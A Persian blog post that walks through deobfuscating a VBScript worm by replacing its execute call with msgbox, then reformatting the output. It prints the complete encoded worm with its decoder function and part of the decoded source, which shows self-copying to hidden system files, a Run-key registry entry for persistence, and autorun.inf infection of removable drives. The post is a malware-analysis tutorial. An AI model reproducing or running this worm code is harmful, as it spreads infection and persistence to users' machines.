رمز گشایی یک ویروس VBScript ای!
اخیرا یکی از دوستان یک برنامه ی VBScript به من داد که رمز گذاری شده بود و از من خواست که آن را به حالت عادی در بیاورم.
این برنامه ظاهرا متعلق به یک ویروس است و با یک الگوریتم ساده رمز گذاری شده است.
من آن را خیلی راحت از حالت رمز گذاری شده به حالت عادی برگرداندم و در این جا می خواهم روش کار را توضیح دهم.
متن اصلی ویروس این است:
'log!n ---><..Presents..><--- st!cky_w0rM ' 'b0rN 0n 07-12-2009 1620 ' maz1 = "po!fssps!sftvnf!ofyu;ejn!gtp-gjmf-wctdpqz;ep;Tfu!gtp!>!DsfbufPckfdu)#Tdsjqujoh/GjmfTztufnPckfdu#*;svoBP!>!#\bvupsvo^#!;svoBP2!>!# tifmmfyfdvuf>xtdsjqu/fyf!tupq.wjsvt/wct#!;Ejn!sh;Tfu!sh!>!DsfbufPckfdu)#XTdsjqu/Tifmm#*;Ejn!n2-uyu-t{-wdpef-difdl!;Tfu!n2!>!gtp/HfuGjmf)XTdsjqu/TdsjquGvmmobnf*!;t{!>!n2/tj{f!;difdl!>!n2/Esjwf/esjwfuzqf!;Tfu!uyu!>!n2/pqfobtufyutusfbn)2-!.3*!;Ep!Xijmf!Opu!uyu/bufoepgtusfbn!;wdpef!>!wdpef!'!uyu/sfbemjof!;wdpef!>!wdpef!'!wcDsMg!;Mppq!;sh/SfhXsjuf!#ILFZ`DVSSFOU`VTFS]Tpguxbsf]Njdsptpgu]Xjoepxt!Tdsjqu!Iptu]Tfuujoht]Ujnfpvu#-1-#SFH`EXPSE#!;ejn!ug!;Tfu!ejsxjo!>!gtp/HfuTqfdjbmGpmefs)3*!;Jg!Opu!)gtp/gjmffyjtut)ejsxjo!'#]tupq.wjsvt/wct#**!Uifo!;Tfu!ug!>!gtpF]fuGjmf)ejsxjo!'#]tupq.wjsvt/wct#*!;ug/Buusjcvuft!>!43!;Tfu!ug!>!gtp/DsfbufUfyuGjmf)ejsxjo!'#]tupq.wjsvt/wct#-!3-!Usvf*!;ug/Xsjuf!wdpef!;ug/Dmptf!;Foe!jg!;Tfu!ug!>!gtp/HfuGjmf)ejsxjo!'#]tupq.wjsvt/wct#*;ug/Buusjcvuft!>!4:!;sh/SfhXsjuf!#ILFZ`MPDBM`NBDIJOF]TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]qpmjdjft]fyqmpsfs]svo]TztEmm22#-#xtdsjqu/fyf!#!'!ejsxjo!'#]tupq.wjsvt/wct#!;ejn!ushuesw2!;Gps!Fbdi!ushuesw2!Jo!gtp/esjwft!;Jg)ushuesw2/esjwfuzqf!>!2*!Boe!ushuesw2/Qbui!=?!#B;#!Uifo!;Jg!Opu!)gtp/gjmffyjtut)ushuesw2/Qbui!'#]tupq.wjsvt/wct#**!Uifo!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]tupq.wjsvt/wct#*!;ug/Buusjcvuft!>!43!;Tfu!ug!>!gtp/DsfbufUfyuGjmf)ushuesw2/Qbui!'#]tupq.wjsvt/wct#-!3-!Usvf*!;ug/Xsjuf!wdpef!;ug/Dmptf!;Foe!jg!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]tupq.wjsvt/wct#*;ug/Buusjcvuft!>!4:!;Jg!Opu!)gtp/gjmffyjtut)ushuesw2/Qbui!'#]bvupsvo/jog#**!Uifo!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]bvupsvo/jog#*!;ug/Buusjcvuft!>!43!;Tfu!ug!>!gtp/DsfbufUfyuGjmf)ushuesw2/Qbui!'#]bvupsvo/jog#-!3-!Usvf*!;ug/XsjufMjof!svoBP!;ug/XsjufMjof!svoBP2!;ug/Dmptf!;Foe!jg!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]bvupsvo/jog#*!;ug/Buusjcvuft!>!4:!;Foe!jg!;Ofyu!;Jg!difdl!=?!2!Uifo! ;XTdsjqu/tmffq!:111!;Foe!Jg!;wdpef>##!;Mppq!Xijmf!)difdl!=? !2*" execute(dec(maz1)) Function dec(s):For i = 1 To Len(s):T = Mid(s, i, 1):T = Chr(Asc(T) -1):Coded = Coded + T:Next:dec = coded:End Function
من ابتدا متن فوق را در notepad++ کپی کردم و مشاهده کردم که برنامه از سه قسمت تشکیل شده است:
قسمت اول که مقداری Comment است:
'log!n ---><..Presents..><--- st!cky_w0rM ' 'b0rN 0n 07-12-2009 1620 '
قسمت دوم شامل دستورات زیر است:
maz1 = "po!fssps!sf .... " exec(dec(maz1))
یعنی یک متغیر به نام maz1 تعریف شده که محتوای آن یک رشته ی رمز گذاری شده است. این رشته را ابتدا توسط تابع dec از حالت رمز شده در می آورد و سپس با تابع exec آن را اجرا می کند.
قسمت سوم هم که تعریف تابع dec است:
Function dec(s):For i = 1 To Len(s):T = Mid(s, i, 1):T = Chr(Asc(T) -1):Coded = Coded + T:Next:dec = coded:End Function
بنابراین کار خیلی ساده است!
کافی است که کلمه ی exec را در قسمت دوم به کلمه ی msgbox تغییر دهیم تا برنامه ی کد شده، بعد از این که دیکد شد، اجرا نشود. بلکه توسط تابع msgbox به ما نشان داده شود
من هم در سورس برنامه، exec را پاک کردم و به جای آن نوشتم msgbox و سپس برنامه را اجرا کردم
سورس برنامه در داخل یک پیغام msgbox نمایش داده شد.
سپس در روی کی بورد دکمه های Alt + Ctrl + Insert را فشار دادم تا متن موجود در MSgBox به Clipboard من کپی شود.
سپس به notepad++ برگشتم و یک تب جدید باز کردم و با Ctrl + V متن موجود در Clipboard را Paste کردم
و به همین راحتی به سورس برنامه دست پیدا کردم!
اکنون برای این که سورس به دست آمده خوانا شود، باید دو تا کار دیگر نیز انجام داد.
همان طور که می بینید در برنامه ی فوق، با جای این که برنامه را در چند خط بنویسد، همه را در یک خط نوشته است و به جای رفتن به خط جدید، از علامت : استفاده کرده.
کافی است در notepad++ کاراکتر : را با علامت خط جدید replace کنیم
برای این منظور، من در محیط notepad++ دکمه ی Ctrl + H را فشار دادم تا پنجره ی replace باز شد.
در قسمت Find تایپ کردم :
و در قسمت Replace with تایپ کردم \r\n
و در قسمت Search Mode گزینه ی دوم (Extended) را انتخاب کردم.
آن گاه دکمه ی Replace All را کلیک کردم و سورس برنامه را به دست آوردم
on error resume next dim fso,file,vbscopy do Set fso = CreateObject("Scripting.FileSystemObject") runAO = "[autorun]" runAO1 = "shellexecute=wscript.exe stop-virus.vbs" Dim rg Set rg = CreateObject("WScript.Shell") Dim m1,txt,sz,vcode,check Set m1 = fso.GetFile(WScript.ScriptFullname) sz = m1.size check = m1.Drive.drivetype Set txt = m1.openastextstream(1, -2) Do While Not txt.atendofstream vcode = vcode & txt.readline vcode = vcode & vbCrLf Loop rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout",0,"REG_DWORD" dim tf Set dirwin = fso.GetSpecialFolder(2) If Not (fso.fileexists(dirwin &"\stop-virus.vbs")) Then Set tf = fsoE\etFile(dirwin &"\stop-virus.vbs") tf.Attributes = 32 Set tf = fso.CreateTextFile(dirwin &"\stop-virus.vbs", 2, True) tf.Write vcode tf.Close End if Set tf = fso.GetFile(dirwin &"\stop-virus.vbs") tf.Attributes = 39 rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\explorer\run\SysDll11","wscript.exe
اکنون می توان تورفتگی ها را نیز اصلاح کرد....
از برنامه نویس این ویروس (!) عذر می خواهم!
البته نمی دانم این برنامه برای چی نوشته شده بوده. شاید ویروس بوده شاید هم تستی بوده. ولی من تعجب می کنم از این برنامه...
من به اسم ویروس این برنامه رو دریافت کردم. دیگر نمی دانم واقعا ویروس است یا سر کاری هست. بیشتر به سرکاری شبیه است تا ویروس...
نظرات شما
قسمت نظرات با استفاده از سرویس دیسکاس پیاده سازی شده است. متاسفانه این سرویس از داخل ایران قابل دسترس نیست. لطفا از آی پی خارجی استفاده کنید.